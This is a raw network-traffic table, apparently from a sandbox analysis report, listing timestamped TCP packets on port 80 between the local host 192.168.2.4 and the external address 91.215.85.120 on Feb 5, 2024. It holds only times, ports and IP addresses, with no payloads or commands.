Feb 5, 2024 10:57:21.988193989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988229990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988249063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988261938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988274097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988293886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988316059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988337040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988349915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988400936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988415003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988425970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988436937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988446951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988459110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988470078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988476038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988482952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988501072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988523006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988662004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988675117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988686085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988697052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988708019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988718987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988719940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988749981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988749981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988759041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988771915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988782883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988795042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988801956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988805056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988814116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988825083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988835096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988838911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988847017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988861084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988861084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988872051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988897085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988899946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988899946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988910913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988922119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988925934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988956928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988964081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.988970041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.988993883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989013910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989032984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989068031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989079952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989090919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989103079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989114046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989124060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989150047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989208937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989221096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989231110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989242077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989252090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989263058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989265919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989289045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989299059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989310980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989321947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989335060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989346027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989371061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989372015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989384890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989417076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989497900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989511013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989521980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989532948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989543915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989546061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989564896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989568949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989583015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989584923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989605904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989619017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989631891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989636898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989644051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989655972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989667892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989666939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989681005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989690065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989695072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989706993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989708900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989721060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989733934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989744902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989747047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989764929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989779949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989793062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989793062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989850044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989916086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989928961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989943027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989953995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989964008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989974976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.989976883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.989988089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990000010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990011930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990022898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990026951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990026951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990035057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990050077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990066051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990096092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990108013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990118980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990130901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990150928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990171909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990171909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990185976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990196943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990217924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990228891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990232944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990241051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990253925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990255117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990278006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990291119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990295887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990295887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990329981 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990348101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990360975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990370989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990392923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990402937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990406990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990420103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990432978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990437984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990467072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990478992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990513086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990535975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990549088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990561008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990572929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990582943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990609884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990611076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990637064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990649939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990660906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990672112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990683079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990698099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990704060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990716934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990730047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990736008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990736008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990741014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990761995 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990801096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990833998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990845919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990856886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990869045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990880013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990885019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990891933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990905046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990926027 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990928888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990942955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990947008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990966082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.990982056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.990991116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991013050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991024971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991024971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991046906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991059065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991092920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991097927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991122961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991182089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991194963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991205931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991215944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991223097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991228104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991240025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991251945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991251945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991266012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991267920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991280079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991290092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991318941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991324902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991394997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991406918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991416931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991427898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991437912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991441965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991456032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991460085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991497040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991585016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991596937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991606951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991617918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991625071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991630077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991641998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991651058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991653919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991667032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991667986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991681099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991693020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991719961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991765022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991776943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991789103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991801977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991816044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991827965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991832972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991839886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991852999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991852999 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991864920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991877079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991889000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991899967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.991908073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991908073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991940975 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.991940975 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992083073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992094994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992105961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992116928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992127895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992132902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992141008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992152929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992153883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992165089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992177010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992187977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992197037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992197990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992208958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992214918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992222071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992233992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992245913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992258072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992259026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992259026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992270947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992283106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992284060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992295980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992307901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992314100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992319107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992331028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992333889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992342949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992350101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992355108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992367983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992377996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992381096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992393970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992398024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992405891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992418051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992424011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992429972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992441893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992450953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992455959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992470980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992491007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992492914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992505074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992516994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992527962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992539883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992552996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992554903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992564917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992575884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992594957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992611885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992624998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992635012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992645979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992656946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992660046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992667913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992677927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992681980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992695093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992696047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992707014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992717981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992722034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992744923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992748976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992757082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992769957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992779970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992790937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992794991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992803097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992814064 CET	49735	80	192.168.2.4	91.215.85.120
